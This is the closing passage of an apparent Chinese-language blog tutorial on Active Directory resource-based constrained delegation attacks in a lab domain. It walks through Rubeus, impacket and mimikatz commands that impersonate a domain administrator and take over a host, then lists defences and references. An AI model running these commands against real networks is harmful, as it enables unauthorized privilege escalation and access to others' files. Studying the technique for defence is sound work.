现在小明就开始用域管理administrator的权限去访问域管理dc_admin用户在本机上的文件了,发现了还是访问不了,可能是powershell写入失败了,就重新用一款Jumbo大佬写的工具SharpAllowedToAct-Modify

SharpAllowedToAct.exe -m win7a -u lucky -p p@ssw0rd -t gongjuren -a dc.hack.lab -d hack.lab

59

我们再重新申请票据导入内存:

Rubeus.exe s4u /user:gongjuren$ /rc4:xxx /impersonateuser:administrator /msdsspn:cifs/win7a.hack.lab /ptt

但还是不行,我后来换了win10客户端去做上面操作的时候就成功了:

60

果然是在本机是不行的,小明最后借助了旁边同事的一台win7进行攻击,把上面s4u申请的服务票据(最后一串base64)拿到同事这台win7进行操作:

Rubeus.exe ptt /ticket:最后一串base64

用同事的主机访问win7a主机里面域管理的文件夹成功:

66

情景二

小智请来的黑客开始使用kali进行操作,这个工具是impacket上的,内置在kali,首先是创建一台机器,:

addcomputer.py -dc-ip 172.16.0.106  -computer-name 'gongjuren$' -computer-pass 123456 hack.lab/lucky -hashes aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72

当然也可以用密码, domain.local/username[:password]

添加成功:

61

将gongjuren的信息写入win7a的msDS-AllowedToActOnBehalfOfOtherIdentity属性,rbcd.py也是impacket里面的:

rbcd.py -delegate-from 'gongjuren$' -delegate-to 'win7a$' -dc-ip 172.16.0.106 -action write hack.lab/lucky -hashes aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72

写入成功:

62

伪造票据,getST.py也是内置在kali的:

getST.py -spn cifs/win7a -impersonate administrator -dc-ip 172.16.0.106 hack/gongjuren\$:123456

申请票据成功:

63

设置KRB5CCNAME环境变量并使用psexec.py连接win7a:

export KRB5CCNAME=administrator.ccache
psexec.py win7a -dc-ip 172.16.0.106 -k -no-pass

我hosts文件设置了172.16.0.105 win7a,也可以换成ip

成功拿到win7a的权限:

64

但是他朋友不可能一直帮他接入内网权限维持,所以给他一张票据让小智也可以在他本机查看win7a的文件,这里是在小智的SQL主机上使用的mimikatz操作:

mimikatz.exe "kerberos::ptc administrator.ccache" exit

65

这样小智就自己就可以访问到win7a的主机文件了,黑客朋友还教了他使用Rubeus重新申请票据,这样就不怕票据失效了。

0x04 防御措施

防御措施的的话,因为委派比较实用我们也不能说直接简单粗暴关闭该功能。

  1. 我们可以设置一些高权限用户为敏感账户

67

  1. Windows 2012 R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows 2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016、Windows Server 2012 R2、 Windows Server 2012 3.一般TGT 4小时后失效

4.Kerberos预认证时不使用DES或者RC4等加密算法;

0x05 结尾

整个漏洞下来还是比较多内容的,还有很多CVE漏洞或者是很多细节还没写全,篇幅太长了,后面会单个漏洞写,这样就不会显得文章太冗长了。

师傅们如果有问题请指点,多交流,文笔不是很好,大佬们见谅哈~

参考

http://woshub.com/decoding-ad-useraccountcontrol-value/

https://m365internals.com/2021/05/22/how-to-hunt-for-ldap-reconnaissance-within-m365-defender/

https://www.bilibili.com/s/video/BV1UQ4y1S7jM

https://www.geekby.site/2020/05/%E5%9F%BA%E4%BA%8E%E5%9F%9F%E5%A7%94%E6%B4%BE%E7%9A%84%E6%94%BB%E5%87%BB/

https://xz.aliyun.com/t/7217

https://www.cnblogs.com/car7n/p/14789004.html

https://paper.seebug.org/620/

https://www.crisprx.top/archives/429

https://xz.aliyun.com/t/7217

https://daiker.gitbook.io/windows-protocol/kerberos/

https://xz.aliyun.com/t/2931

基于资源的约束委派利用

https://cloud.tencent.com/developer/article/1899592

https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd

https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie